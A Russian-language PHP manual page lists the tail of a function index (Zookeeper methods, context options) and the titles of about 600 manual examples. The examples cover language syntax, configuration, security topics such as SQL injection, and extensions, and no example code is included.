    • Zookeeper::getConfig - Получает экземпляр ZookeeperConfig
    • Zookeeper::getRecvTimeout - Возвращает время ожидания для сессии, действительный, только если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE). Это значение может измениться после повторного подключения к серверу
    • Zookeeper::getState - Получает состояние соединения zookeeper
    • Zookeeper::isRecoverable - Проверяет, можно ли восстановить текущее состояние подключения ZooKeeper
    • Zookeeper::set - Устанавливает данные, связанные с узлом
    • Zookeeper::setAcl - Устанавливает ACL, связанный с узлом синхронно
    • Zookeeper::setDebugLevel - Устанавливает уровень логирования для библиотеки
    • Zookeeper::setDeterministicConnOrder - Включение/отключение рандомизации порядка конечных точек кворума
    • Zookeeper::setLogStream - Устанавливает поток, который будет использоваться библиотекой для логирования
    • Zookeeper::setWatcher - Устанавливает функцию наблюдателя
    • Zookeeper::__construct - Создаёт дескриптор для общения с zookeeper
    • ZookeeperConfig::add - Добавляет серверы в ансамбль
    • ZookeeperConfig::get - Синхронно получает последнюю подтверждённую конфигурацию кластера ZooKeeper, о которой известно серверу, к которому подключён клиент
    • ZookeeperConfig::remove - Удаляет серверы из ансамбля
    • ZookeeperConfig::set - Изменяет состав ансамбля ZK и роли его участников
    • zookeeper_dispatch - Вызвать callback-функции для ожидающих операций
  • _
    • __autoload - Пытается загрузить неопределённый класс
    • __halt_compiler - Останавливает работу компилятора
  • ?
    • Контекстные опции Phar - Список контекстных опций Phar
    • Контекстные опции сокета - Список контекстных опций сокета
    • Опции контекста HTTP - Список опций контекста HTTP
    • Опции контекста SSL - Список опций контекста SSL
    • Опции контекста Zip - Список опций контекста Zip
    • Параметры контекста - Список параметров контекста
    • Параметры контекста FTP - Список параметров контекста FTP

User Contributed Notes

There are no user contributed notes for this page.


Список примеров

Список всех примеров в руководстве

  • Example#0 - Пример программирования на PHP
  • Example#1 - Первый скрипт на PHP: hello.php
  • Example#2 - Получение информации о системе из PHP
  • Example#3 - Вывод значения переменной (элемента массива)
  • Example#4 - Пример использования управляющих структур и функций
  • Example#5 - Смешение режимов HTML и PHP
  • Example#6 - Простейшая форма HTML
  • Example#7 - Выводим данные формы
  • Example#8 - Пример части файла lighttpd.conf
  • Example#9 - Создание FastCGI-обработчиков
  • Example#10 - Подключение к удалённым процессам fastcgi
  • Example#11 - Пример установки пакетов в OpenBSD
  • Example#12 - Пример установки Apache 2 на Debian
  • Example#13 - Остановка и запуск Apache после установки PHP
  • Example#14 - Способы получить список дополнительных пакетов PHP
  • Example#15 - Установка PHP с MySQL и cURL
  • Example#16 - Рекомендованная конфигурация OpCache
  • Example#17 - Рекомендованная конфигурация WinCache
  • Example#18 - Командная строка для настройки IIS и PHP
  • Example#19 - Изменения в реестре
  • Example#20 - PHP и Apache 2.x в качестве обработчика
  • Example#21 - PHP и Apache 2.x как CGI
  • Example#22 - Настройка Apache для запуска PHP как FastCGI
  • Example#23 - Передача переменных окружения и настроек PHP пулу
  • Example#24 - Установка настроек PHP в nginx.conf
  • Example#25 - Вызов функции phpinfo
  • Example#26 - Переменные окружения в файле php.ini
  • Example#27 - Пример php.ini
  • Example#28 - Пример конфигурации Apache
  • Example#29 - Открывающие и закрывающие теги PHP
  • Example#30 - Продвинутое изолирование с использованием условий
  • Example#31 - Пример, показывающий закрывающий тег, охватывающий завершающую новую строку
  • Example#32 - Целые числа
  • Example#33 - Переполнение целых на 32-битных системах
  • Example#34 - Переполнение целых на 64-битных системах
  • Example#35 - Базовый пример использования Heredoc-синтаксиса в PHP 7.3.0
  • Example#36 - Отступу закрывающего идентификатора нельзя отступать больше, чем другим строкам тела
  • Example#37 - Другой отступ для закрывающего идентификатора тела (пробелов)
  • Example#38 - Продолжение выражения после закрывающего идентификатора
  • Example#39 - Закрывающий идентификатор в теле текста провоцирует исключение ParseError
  • Example#40 - Пример неправильного до PHP 7.3.0 синтаксиса
  • Example#41 - Пример правильного даже до PHP 7.3.0 синтаксиса
  • Example#42 - Пример определения heredoc-строки
  • Example#43 - Пример heredoc-синтаксиса с аргументами
  • Example#44 - Инициализация статических переменных heredoc-синтаксисом
  • Example#45 - Двойные кавычки в heredoc
  • Example#46 - Пример nowdoc-синтаксиса
  • Example#47 - Nowdoc с переменными в строках с двойными кавычками
  • Example#48 - Пример со статичными данными
  • Example#49 - Пример простого синтаксиса
  • Example#50 - Отрицательные числовые индексы
  • Example#51 - Примеры строк
  • Example#52 - Пример недопустимого смещения строки
  • Example#53 - Простой массив
  • Example#54 - Пример преобразования типов и перезаписи элементов
  • Example#55 - Смешанные целочисленные (int) и строковые (string) ключи
  • Example#56 - Индексные массивы без ключа
  • Example#57 - Ключи для некоторых элементов
  • Example#58 - Расширенный пример преобразования типов и перезаписи элементов
  • Example#59 - Доступ к элементам массива
  • Example#60 - Разыменование массива
  • Example#61 - Простая распаковка массива
  • Example#62 - Распаковка массива с дублирующим ключом
  • Example#63 - Вызов языковой конструкции array()
  • Example#64 - Коллекция
  • Example#65 - Изменение элемента в цикле
  • Example#66 - Индекс, начинающийся с единицы
  • Example#67 - Заполнение массива
  • Example#68 - Сортировка массива
  • Example#69 - Рекурсивные и многомерные массивы
  • Example#70 - Пример callback-функции
  • Example#71 - Пример передачи замыкания в callback-параметр
  • Example#72 - Пример возвращаемого типа итерируемого генератора
  • Example#73 - Типизированные параметры, передаваемые по ссылке
  • Example#74 - Старый способ указания nullable-аргументов
  • Example#75 - Пример объявления типа класса
  • Example#76 - Пример объявления типа интерфейса
  • Example#77 - Пример объявления типа возвращаемого значения
  • Example#78 - Возвращение объекта
  • Example#79 - Объявление аргумента с обнуляемым типом
  • Example#80 - Объявление типа возвращаемого значения как обнуляемого
  • Example#81 - Объявление типа свойства класса
  • Example#82 - Строгая типизация для значений аргументов
  • Example#83 - Приведение типов для значений аргументов
  • Example#84 - Строгая типизация для возвращаемых значений
  • Example#85 - Пример приведения типов к типу из объединения типов
  • Example#86 - Значения по умолчанию в неинициализированных переменных
  • Example#87 - Использование global
  • Example#88 - Работа с суперглобальной переменной $GLOBALS вместо global
  • Example#89 - Суперглобальные переменные и область видимости
  • Example#90 - Пример показывает, когда требуется статическая переменная
  • Example#91 - Пример со статической переменной
  • Example#92 - Статические переменные и рекурсивные функции
  • Example#93 - Объявление статических переменных
  • Example#94 - Статические переменные в унаследованных методах
  • Example#95 - Пример переменного имени свойства
  • Example#96 - Простая HTML-форма
  • Example#97 - Доступ к данным несложной HTML-формы, которую отправили методом POST
  • Example#98 - Более сложные переменные формы
  • Example#99 - Пример использования setcookie
  • Example#100 - Правильные и неправильные имена констант
  • Example#101 - Определение констант
  • Example#102 - Определение констант через ключевое слово const
  • Example#103 - Ассоциативность
  • Example#104 - Неопределённый порядок вычисления
  • Example#105 - +, - и . имеют одинаковый приоритет (до PHP 8.0.0)
  • Example#106 - Пример увеличения строки PERL
  • Example#107 - Буквенно-цифровая строка, преобразованная в число с плавающей точкой
  • Example#108 - Assigning by reference
  • Example#109 - Побитовыми операции И, ИЛИ и ИСКЛЮЧАЮЩЕЕ ИЛИ (AND, OR и XOR) над целыми числами
  • Example#110 - Побитовая операция ИСКЛЮЧАЮЩЕЕ ИЛИ (XOR) над строками
  • Example#111 - Сдвиг битов в целых числах
  • Example#112 - Сравнение boolean/null
  • Example#113 - Алгоритм сравнения обычных массивов
  • Example#114 - Присваивание значения по умолчанию
  • Example#115 - Неочевидное поведение тернарного оператора
  • Example#116 - Цепочка коротких тернарных операторов
  • Example#117 - Присваивание значения по умолчанию
  • Example#118 - Вложенный оператор null coalescing
  • Example#119 - Объяснение логических операторов
  • Example#120 - Comparing arrays
  • Example#121 - Пример использования оператора instanceof с классами
  • Example#122 - Использование оператора instanceof с наследуемыми классами
  • Example#123 - Использование оператора instanceof для проверки того, что объект — это не экземпляр класса
  • Example#124 - Использование оператора instanceof с интерфейсами
  • Example#125 - Использование оператора instanceof с другими переменными
  • Example#126 - Пример использования оператора instanceof для проверки других переменных
  • Example#127 - Использование оператора instanceof для проверки констант
  • Example#128 - Пример использования instanceof с произвольным выражением
  • Example#129 - Оператор switch
  • Example#130 - Оператор switch допускает сравнение с типом string
  • Example#131 - Простой пример использования match
  • Example#132 - Структура выражения match
  • Example#133 - Пример необработанного выражения
  • Example#134 - Использование match для ветвления в зависимости от вхождения в диапазоны целых чисел
  • Example#135 - Использование match для ветвления в зависимости от содержимого строки
  • Example#136 - Пример использования тика
  • Example#137 - Определение кодировки для скрипта.
  • Example#138 - Простой пример include
  • Example#139 - Включение внутри функции
  • Example#140 - Пример include через HTTP
  • Example#141 - Сравнение значения, которое возвращает выражение include
  • Example#142 - Выражения include и return
  • Example#143 - Буферизация вывода и включение файла PHP в строку
  • Example#144 - Пример использования оператора goto
  • Example#145 - Пример использования оператора goto в цикле
  • Example#146 - Это не сработает
  • Example#147 - Псевдокод описания функции
  • Example#148 - Условные функции
  • Example#149 - Вложенные функции
  • Example#150 - Рекурсивные функции
  • Example#151 - Передача массивов в функции
  • Example#152 - Список аргументов функции с конечной запятой
  • Example#153 - Передача аргументов по ссылке
  • Example#154 - Значения по умолчанию для параметров в функциях
  • Example#155 - Нескалярные типы как значения по умолчанию
  • Example#156 - Объекты как значения по умолчанию, с PHP 8.1.0
  • Example#157 - Неправильное определение значений по умолчанию для параметров функции
  • Example#158 - Правильное определение значений по умолчанию для параметров функции
  • Example#159 - Правильное определение значений по умолчанию для параметров функции
  • Example#160 - Объявление необязательных аргументов после обязательных аргументов
  • Example#161 - Оператор ... для доступа к аргументам
  • Example#162 - Передача аргументов через spread-оператор ...
  • Example#163 - Аргументы с подсказкой типа
  • Example#164 - Синтаксис именованного аргумента
  • Example#165 - Позиционные аргументы по сравнению с именованными аргументами
  • Example#166 - Тот же пример, но с другим порядком аргументов
  • Example#167 - Объединение именованных аргументов с позиционными аргументами
  • Example#168 - Ошибка, которая возникает при передаче одного и того же параметра больше одного раза
  • Example#169 - Пример передачи именованных аргументов после распаковки
  • Example#170 - Пример функции с инструкцией return
  • Example#171 - Возврат нескольких значений в виде массива
  • Example#172 - Возврат результата по ссылке
  • Example#173 - Пример функции переменной
  • Example#174 - Пример метода переменной
  • Example#175 - Пример вызова метода переменной со статическим свойством
  • Example#176 - Сложные callable-функции
  • Example#177 - Пример анонимной функции
  • Example#178 - Пример присваивания анонимной функции как значения переменной
  • Example#179 - Пример наследования переменных из родительской области видимости
  • Example#180 - Замыкания и область видимости
  • Example#181 - Автоматическое связывание переменной $this
  • Example#182 - Попытка обратиться к переменной $this в статической анонимной функции
  • Example#183 - Попытка связать объект со статической анонимной функцией
  • Example#184 - Стрелочные функции захватывают переменные по значению автоматически
  • Example#185 - Стрелочные функции захватывают переменные по значению автоматически, даже когда функции вложены
  • Example#186 - Примеры определения стрелочных функций
  • Example#187 - Стрелочные функции не умеют изменять значения из внешней области видимости
  • Example#188 - Простой пример синтаксиса callable-объекта первого класса
  • Example#189 - Сравнение области действия синтаксиса CallableExpr(...) и традиционного callable-синтаксиса
  • Example#190 - Простое определение класса
  • Example#191 - Примеры псевдопеременной $this
  • Example#192 - Создание экземпляра класса
  • Example#193 - Пример новых объектов, которые создали через произвольные выражения
  • Example#194 - Присваивание объекта
  • Example#195 - Новые объекты
  • Example#196 - Доступ к свойствам и методам только что созданного объекта
  • Example#197 - Сравнение доступа к свойству и вызова метода
  • Example#198 - Вызов анонимной функции, которую содержит свойство
  • Example#199 - Простое наследование классов
  • Example#200 - Совместимость дочерних методов
  • Example#201 - Фатальная ошибка, когда дочерний метод удаляет параметр
  • Example#202 - Фатальная ошибка, когда дочерний метод делает необязательный параметр обязательным
  • Example#203 - Ошибка передачи именованных аргументов в параметры, которые переименовали в дочернем классе
  • Example#204 - Разрешение имени класса
  • Example#205 - Разрешение имени несуществующего класса
  • Example#206 - Разрешение имени объекта
  • Example#207 - Пример работы оператора Nullsafe
  • Example#208 - Объявление свойств
  • Example#209 - Пример типизированных свойств
  • Example#210 - Обращение к свойствам
  • Example#211 - Примеры readonly-свойств
  • Example#212 - Неправильная инициализация readonly-свойств
  • Example#213 - Объявление и использование константы
  • Example#214 - Пример использования ::class с пространством имён
  • Example#215 - Пример констант, заданных выражением
  • Example#216 - Модификаторы видимости констант класса, начиная с PHP 7.1.0
  • Example#217 - Пример автоматической загрузки
  • Example#218 - Ещё один пример автоматической загрузки
  • Example#219 - Конструкторы при наследовании
  • Example#220 - Объявление аргументов в конструкторах
  • Example#221 - Продвижение параметров конструктора до свойств
  • Example#222 - Пример ключевого слова new при инициализации класса
  • Example#223 - Использование статических методов для создания объектов
  • Example#224 - Пример использования деструктора
  • Example#225 - Объявление свойства класса
  • Example#226 - Объявление метода
  • Example#227 - Объявление констант, начиная с PHP 7.1.0
  • Example#228 - Доступ к элементам с модификатором private из объектов одного типа
  • Example#229 - Пример наследования
  • Example#230 - Переопределяющий метод не объявляет никакого типа возвращаемого значения
  • Example#231 - Переопределяющий метод объявляет неверный тип возвращаемого значения
  • Example#232 - Переопределяющий метод объявляет неверный тип возвращаемого значения без уведомления об устаревании
  • Example#233 - Использование :: вне объявления класса
  • Example#234 - Использование :: внутри объявления класса
  • Example#235 - Обращение к методу в родительском классе
  • Example#236 - Пример статического метода
  • Example#237 - Пример статического свойства
  • Example#238 - Пример абстрактного класса
  • Example#239 - Пример абстрактного класса
  • Example#240 - Пример интерфейса
  • Example#241 - Наследование интерфейсов
  • Example#242 - Совместимость с несколькими интерфейсами
  • Example#243 - Множественное наследование интерфейсов
  • Example#244 - Интерфейсы с константами
  • Example#245 - Интерфейсы с абстрактными классами
  • Example#246 - Одновременное расширение и внедрение
  • Example#247 - Пример использования трейта
  • Example#248 - Пример приоритета старшинства
  • Example#249 - Пример альтернативного порядка приоритета
  • Example#250 - Пример использования нескольких трейтов
  • Example#251 - Пример разрешения конфликтов
  • Example#252 - Пример изменения видимости метода
  • Example#253 - Пример трейтов, составленных из трейтов
  • Example#254 - Требования трейта при помощи абстрактных методов
  • Example#255 - Статические переменные
  • Example#256 - Статические методы
  • Example#257 - Статические свойства
  • Example#258 - Определение свойств
  • Example#259 - Разрешение конфликтов
  • Example#260 - Определение констант
  • Example#261 - Разрешение конфликтов
  • Example#262 - Перегрузка свойств с помощью методов __get(), __set(), __isset() и __unset()
  • Example#263 - Перегрузка методов с помощью методов __call() и __callStatic()
  • Example#264 - Итерация простого объекта
  • Example#265 - Сериализация и десериализация
  • Example#266 - Сериализация и десериализация
  • Example#267 - Простой пример
  • Example#268 - Использование __invoke()
  • Example#269 - Пример использования __invoke()
  • Example#270 - Использование __set_state()
  • Example#271 - Использование __debugInfo()
  • Example#272 - Пример окончательных методов
  • Example#273 - Пример окончательного класса
  • Example#274 - Пример окончательной константы, которые появились в PHP 8.1.0
  • Example#275 - Клонирование объекта
  • Example#276 - Доступ к только что склонированному объекту
  • Example#277 - Пример сравнения объектов
  • Example#278 - Использование self::
  • Example#279 - Простое использование static::
  • Example#280 - Использование static:: в нестатическом контексте
  • Example#281 - Перенаправленные и неперенаправленные вызовы
  • Example#282 - Ссылки и объекты
  • Example#283 - Пример синтаксиса с пространством имён
  • Example#284 - Объявление единого пространства имён
  • Example#285 - Объявление простого пространства имён
  • Example#286 - Определение пространства имён с иерархией
  • Example#287 - Описание нескольких пространств имён, простой синтаксис
  • Example#288 - Описание нескольких пространств имён, синтаксис со скобками
  • Example#289 - Описание глобального и обычного пространства имён в одном файле
  • Example#290 - Описание глобального и обычного пространства имён в одном файле
  • Example#291 - Доступ к глобальным классам, функциям и константам из пространства имён
  • Example#292 - Динамически доступные элементы
  • Example#293 - Динамически доступные элементы пространства имён
  • Example#294 - Пример записи константы __NAMESPACE__ в коде с пространством имён
  • Example#295 - Пример записи константы __NAMESPACE__ в глобальном пространстве
  • Example#296 - Константа __NAMESPACE__ и динамическое конструирование имени
  • Example#297 - Ключевое слово namespace внутри пространства имён
  • Example#298 - Ключевое слово namespace в глобальном коде
  • Example#299 - Импорт или псевдонимирование через ключевое слово use
  • Example#300 - Импорт или создание псевдонима через ключевое слово use, комбинирование нескольких выражений
  • Example#301 - Импорт и динамические имена
  • Example#302 - Импортирование и абсолютные имена
  • Example#303 - Недопустимое правило импорта
  • Example#304 - Спецификация глобального пространства
  • Example#305 - Доступ к глобальным классам внутри пространства имён
  • Example#306 - Возврат к глобальным функциям или константам внутри пространства имён
  • Example#307 - Примеры разрешения имён
  • Example#308 - Доступ к глобальным классам вне пространства имён
  • Example#309 - Доступ к глобальным классам вне пространства имён
  • Example#310 - Доступ ко внутренним классам в пространствах имён
  • Example#311 - Доступ ко внутренним классам, функциям или константам в пространствах имён
  • Example#312 - Абсолютные имена
  • Example#313 - Полные имена
  • Example#314 - Неполные имена классов
  • Example#315 - Неполные имена функций или констант
  • Example#316 - Подводные камни при указании имени пространства имён внутри строки с двойными кавычками
  • Example#317 - Неопределённые константы
  • Example#318 - Неопределённые константы
  • Example#319 - Базовые ограниченные значения
  • Example#320 - Расширенные эксклюзивные значения
  • Example#321 - Преобразование отчётов об ошибках в исключения
  • Example#322 - Выброс исключения
  • Example#323 - Обработка исключений в блоке finally
  • Example#324 - Взаимодействие между блоками finally и return
  • Example#325 - Вложенные исключения
  • Example#326 - Обработка нескольких исключений в одном блоке catch
  • Example#327 - Пример блока catch без переменной
  • Example#328 - Throw как выражение
  • Example#329 - Встроенный класс Exception
  • Example#330 - Наследование класса Exception
  • Example#331 - Простой пример
  • Example#332 - Реализация range как генератора
  • Example#333 - Простой пример выдачи значений
  • Example#334 - Получение пар ключ/значение
  • Example#335 - Получение null
  • Example#336 - Получение значений по ссылке
  • Example#337 - yield from с iterator_to_array
  • Example#338 - Основы использования yield from
  • Example#339 - yield from и возвращаемые значения
  • Example#340 - Реализация опциональных методов интерфейса с помощью атрибутов
  • Example#341 - Синтаксис атрибутов
  • Example#342 - Чтение атрибутов средствами Reflection API
  • Example#343 - Чтение конкретных атрибутов средствами Reflection API
  • Example#344 - Простой класс с атрибутом
  • Example#345 - Спецификация указания целей, которым атрибут может быть присвоен
  • Example#346 - Применение константы IS_REPEATABLE при объявлении атрибута для разрешения его многократного присваивания
  • Example#347 - Использование ссылок с неинициализированными переменными
  • Example#348 - Присвоение ссылок глобальным переменным внутри функции
  • Example#349 - Ссылки и foreach
  • Example#350 - Пример использования $GLOBALS
  • Example#351 - запись всего $GLOBALS приведёт к ошибке
  • Example#352 - Пример использования $_SERVER
  • Example#353 - Пример использования $_GET
  • Example#354 - Пример использования $_POST
  • Example#355 - Пример использования $_ENV
  • Example#356 - Пример использования $_COOKIE
  • Example#357 - Пример использования $php_errormsg
  • Example#358 - Пример $http_response_header
  • Example#359 - Пример использования $argc
  • Example#360 - Пример использования $argv
  • Example#361 - Пример использования Exception::getMessage
  • Example#362 - Пример использования Exception::getPrevious
  • Example#363 - Пример использования Exception::getCode
  • Example#364 - Пример использования Exception::getFile
  • Example#365 - Пример использования Exception::getLine
  • Example#366 - Пример использования Exception::getTrace
  • Example#367 - Пример использования Exception::getTraceAsString
  • Example#368 - Пример использования Exception::__toString
  • Example#369 - Пример использования функции set_error_handler для изменения сообщений об ошибках на исключение ErrorException.
  • Example#370 - Пример использования ErrorException::getSeverity
  • Example#371 - Пример использования Error::getMessage
  • Example#372 - Пример использования Error::getPrevious
  • Example#373 - Пример использованияError::getCode
  • Example#374 - Пример использования Error::getFile
  • Example#375 - Пример использованияError::getLine
  • Example#376 - Пример использования Error::getTrace
  • Example#377 - Пример использования Error::getTraceAsString
  • Example#378 - Пример использования Error::__toString
  • Example#379 - Основы использования
  • Example#380 - Базовый пример реализации интерфейса
  • Example#381 - Основы использования
  • Example#382 - Пример использования ArrayAccess::offsetExists
  • Example#383 - Базовый пример реализации интерфейса
  • Example#384 - Пример использования метода Closure::bind
  • Example#385 - Пример использования метода Closure::bindTo
  • Example#386 - Пример Closure::call
  • Example#387 - Создание в результате преобразования в объект
  • Example#388 - Создание в результате работы функции json_decode
  • Example#389 - Объявление динамических свойств
  • Example#390 - Пример использования Generator::getReturn
  • Example#391 - Пример использования Generator::key
  • Example#392 - Использование Generator::send для внедрения значений
  • Example#393 - Выбрасывание исключения в итератор
  • Example#394 - Пример #1. Простое использование WeakReference
  • Example#395 - Пример использования класса Weakmap
  • Example#396 - Простой пример использования Stringable
  • Example#397 - Простой пример использования
  • Example#398 - Простой пример использования
  • Example#399 - Простой пример использования
  • Example#400 - Передача объекта SensitiveParameterValue в функцию var_dump
  • Example#401 - Пример использования SensitiveParameterValue::getValue
  • Example#402 - Пример использования bindto
  • Example#403 - Извлечь страницу и отправить данные методом POST
  • Example#404 - Игнорировать переадресации, но извлечь заголовки и содержимое
  • Example#405 - Простой пример использования password
  • Example#406 - Определение URL, с которого был забран документ после переадресаций
  • Example#407 - php://temp/maxmemory
  • Example#408 - php://filter/resource=<поток для фильтрации>
  • Example#409 - php://filter/read=<список фильтров для применения к цепочке чтения>
  • Example#410 - php://filter/write=<список фильтров для применения к цепочке записи>
  • Example#411 - php://memory и php://temp нельзя переиспользовать
  • Example#412 - Вывод содержимого data://
  • Example#413 - Получение типа потока
  • Example#414 - Основы использования
  • Example#415 - Открытие потока из активного соединения
  • Example#416 - Переменная $session должна быть доступна!
  • Example#417 - Обход RAR-архива
  • Example#418 - Открытие зашифрованного файла (шифрование заголовка)
  • Example#419 - Недостаточная проверка внешних данных ведёт к...
  • Example#420 - ... атаке на файловую систему
  • Example#421 - Более безопасная проверка имени файла
  • Example#422 - Более строгая проверка имени файла
  • Example#423 - Скрипт, уязвимый к нулевому байту
  • Example#424 - Корректная проверка входных данных
  • Example#425 - Хеширование полей с паролями
  • Example#426 - Постраничный вывод результата и… создание суперпользователя в СУБД PostgreSQL
  • Example#427 - Вывод списка статей… и ряда паролей (любой сервер базы данных)
  • Example#428 - От сброса пароля до… получения дополнительных привилегий (любой сервер баз данных)
  • Example#429 - Атака на операционную систему сервера базы данных (MSSQL Server)
  • Example#430 - Избегание SQL-инъекций средствами подготовленных инструкций модуля PDO
  • Example#431 - Атака на переменные в HTML-странице
  • Example#432 - Использование стандартных отладочных переменных
  • Example#433 - Поиск потенциально опасных переменных при помощи E_ALL
  • Example#434 - Потенциально опасное использование переменных
  • Example#435 - Маскировка PHP под другие языки программирования
  • Example#436 - Использование неизвестных расширений для PHP-скриптов
  • Example#437 - Маскировка PHP-файлов под HTML
  • Example#438 - Пример Basic HTTP-аутентификации
  • Example#439 - Пример Digest HTTP-аутентификации
  • Example#440 - Пример HTTP-аутентификации с принудительным вводом новой пары логин/пароль
  • Example#441 - Простая поисковая форма XForms
  • Example#442 - Использование XForm совместно с массивом $_POST
  • Example#443 - Форма для загрузки файлов
  • Example#444 - Проверка загружаемых на сервер файлов
  • Example#445 - Загрузка массива файлов
  • Example#446 - Загрузка нескольких файлов
  • Example#447 - Загрузка всего каталога
  • Example#448 - Сохранение файлов, отправленных через HTTP PUT
  • Example#449 - Получение заголовка удалённой страницы
  • Example#450 - Сохранение данных на удалённом сервере
  • Example#451 - Пример, демонстрирующий разницу с CGI SAPI:
  • Example#452 - Пример команды с параметром -d для установки INI-настройки
  • Example#453 - Вывод встроенных (и загруженных) модулей PHP и Zend
  • Example#454 - Ошибка синтаксиса при использовании двойных кавычек
  • Example#455 - Использование одинарных кавычек для предотвращения подстановки переменных в консоли
  • Example#456 - Использование опций -B, -R и -E для подсчёта количества строк в проекте.
  • Example#457 - Использование -v для получения типа SAPI и версии PHP и Zend
  • Example#458 - Пример --ini
  • Example#459 - Базовое использование --rf
  • Example#460 - Пример --rc
  • Example#461 - Пример --re
  • Example#462 - Пример --ri
  • Example#463 - Запуск PHP-скрипта как консольного
  • Example#464 - Скрипт, предназначенный для запуска из командной строки (script.php)
  • Example#465 - Пакетный файл для запуска PHP-скрипта из командной строки (script.bat)
  • Example#466 - Запуск кода в интерактивной консоли
  • Example#467 - Автодополнение по Tab
  • Example#468 - Установка настройки php.ini в интерактивной консоли
  • Example#469 - Запуск веб-сервера
  • Example#470 - Запуск с указанием корневой директории
  • Example#471 - Использование скрипта маршрутизации
  • Example#472 - Проверка использования веб-сервера CLI
  • Example#473 - Поддержка неподдерживаемых типов файлов
  • Example#474 - Доступ к веб-серверу CLI с удалённых машин
  • Example#475 - Создание нового контейнера zval
  • Example#476 - Вывод информации о zval
  • Example#477 - Увеличение счётчика ссылок zval
  • Example#478 - Уменьшение счётчика ссылок zval
  • Example#479 - Создание array zval
  • Example#480 - Добавление уже существующего элемента в массив
  • Example#481 - Удаление элемента из массива
  • Example#482 - Добавление массива новым элементом в самого себя
  • Example#483 - Удаление $a
  • Example#484 - Пример использования памяти
  • Example#485 - Влияние на производительность
  • Example#486 - Запуск скрипта
  • Example#487 - Сборка PHP для включения теста производительности GC
  • Example#488 - Статистика GC
  • Example#489 - all_probes.d - трассировка всех статических зондов PHP с помощью DTrace
  • Example#490 - all_probes.stp - трассировка всех статических зондов PHP
  • Example#491 - Пример использования apcu_add
  • Example#492 - Пример использования apcu_cache_info
  • Example#493 - Пример использования apcu_cas
  • Example#494 - Пример использования apcu_dec
  • Example#495 - Пример использования apcu_delete
  • Example#496 - Пример использования apcu_entry
  • Example#497 - Пример использования apcu_exists
  • Example#498 - Пример использования apcu_fetch
  • Example#499 - Пример использования apcu_inc
  • Example#500 - Пример использования apcu_key_info
  • Example#501 - Пример использования apcu_sma_info
  • Example#502 - Пример использования apcu_store
  • Example#503 - Пример использования APCUIterator::__construct
  • Example#504 - Обработка ошибок в скрипте
  • Example#505 - Пример использования debug_backtrace
  • Example#506 - Пример использования debug_print_backtrace
  • Example#507 - Пример error_clear_last
  • Example#508 - Пример использования error_get_last
  • Example#509 - Примеры использования error_log
  • Example#510 - Примеры использования функции error_reporting
  • Example#511 - Пример использования restore_error_handler
  • Example#512 - Пример использования restore_exception_handler
  • Example#513 - Обработка ошибок с помощью функций set_error_handler и trigger_error
  • Example#514 - Пример использования set_exception_handler
  • Example#515 - Пример использования функции trigger_error
  • Example#516 - Вызов функции из общей библиотеки
  • Example#517 - Вызов функции и возврат структуры через аргумент
  • Example#518 - Доступ к существующим переменным C
  • Example#519 - Создание и модификация переменной C
  • Example#520 - Работа с массивами C
  • Example#521 - Работа с перечислениями C
  • Example#522 - Присвоение PHP Closure указателю функции C
  • Example#523 - Пример контроля вывода
  • Example#524 - Пример перезаписи вывода
  • Example#525 - Пример использования функции ob_end_clean
  • Example#526 - Пример использования функции ob_end_flush
  • Example#527 - Простой пример использования функции ob_get_clean
  • Example#528 - Простой пример использования функции ob_get_contents
  • Example#529 - Пример использования функции ob_get_flush
  • Example#530 - Простой пример использования функции ob_get_length
  • Example#531 - Массив, который будет возвращён, если значение параметра full_status равно false
  • Example#532 - Массив, который будет возвращён, если значение параметра full_status равно true
  • Example#533 - Пример использования функции ob_list_handlers
  • Example#534 - Пример callback-функции, определённой пользователем
  • Example#535 - Создание нестираемого буфера вывода
  • Example#536 - Пример использования функции output_add_rewrite_var
  • Example#537 - Пример использования функции output_reset_rewrite_vars
  • Example#538 - Пример использования assert_options
  • Example#539 - Пример использования функции assert
  • Example#540 - Пример пользовательского сообщения
  • Example#541 - Пример использования пользовательского класса исключения
  • Example#542 - Пример использования cli_get_process_title
  • Example#543 - Пример использования cli_set_process_title
  • Example#544 - Примеры использования dl
  • Example#545 - Пример использования extension_loaded
  • Example#546 - Пример использования gc_enabled
  • Example#547 - Использование gc_status
  • Example#548 - Пример использования get_current_user
  • Example#549 - Пример использования get_defined_constants
  • Example#550 - Выводит функции XML
  • Example#551 - Пример использования get_include_path
  • Example#552 - Пример использования get_included_files
  • Example#553 - Пример использования функции get_loaded_extensions
  • Example#554 - Пример использования get_resources
  • Example#555 - Пример использования get_resources с фильтрацией
  • Example#556 - Пример использования функции getenv
  • Example#557 - Пример использования getlastmod
  • Example#558 - Пример использования getopt: основы
  • Example#559 - Пример использования getopt: добавление длинных опций
  • Example#560 - Пример использования getopt: Передача нескольких параметров как одного
  • Example#561 - Пример getopt с параметром rest_index
  • Example#562 - Пример использования getrusage
  • Example#563 - Примеры использования ini_get_all
  • Example#564 - Отключение details
  • Example#565 - Несколько примеров использования функции ini_get
  • Example#566 - Пример использования ini_parse_quantity
  • Example#567 - Пример использования ini_restore
  • Example#568 - Установка значения ini-настройки
  • Example#569 - Пример использования memory_get_usage
  • Example#570 - Пример использования memory_reset_peak_usage
  • Example#571 - Пример использования php_ini_loaded_file
  • Example#572 - Простой пример вывода списка ini-файлов
  • Example#573 - Пример использования php_sapi_name
  • Example#574 - Несколько примеров использования php_uname
  • Example#575 - Некоторые константы OS
  • Example#576 - Выводит основных разработчиков
  • Example#577 - Выводит разработчиков ядра и участников команды документирования
  • Example#578 - Вывод всех разработчиков
  • Example#579 - Пример использования phpinfo
  • Example#580 - Пример использования phpversion
  • Example#581 - Пример использования PHP_VERSION_ID
  • Example#582 - Установка значения переменной среды
  • Example#583 - Пример использования restore_include_path
  • Example#584 - Пример использования set_include_path
  • Example#585 - Составление более длинного пути include path
  • Example#586 - Пример использования sys_get_temp_dir
  • Example#587 - Пример использования version_compare
  • Example#588 - Пример использования zend_thread_id
  • Example#589 - Пример использования zend_version
  • Example#590 - Пользовательские суперглобальные файлы с runkit.superglobal=_FOO,_BAR в php.ini
  • Example#591 - Пример использования runkit7_function_add
  • Example#592 - Пример использования runkit7_function_copy
  • Example#593 - Пример использования runkit7_function_redefine
  • Example#594 - Пример использования runkit7_method_add
  • Example#595 - Пример использования runkit7_method_copy
  • Example#596 - Пример использования runkit7_method_redefine
  • Example#597 - Пример использования runkit7_method_remove
  • Example#598 - Пример использования runkit7_method_rename
  • Example#599 - Пример использования runkit7_zval_inspect
  • Example#600 - Простое использование uopz_add_function
  • Example#601 - Пример использования uopz_allow_exit
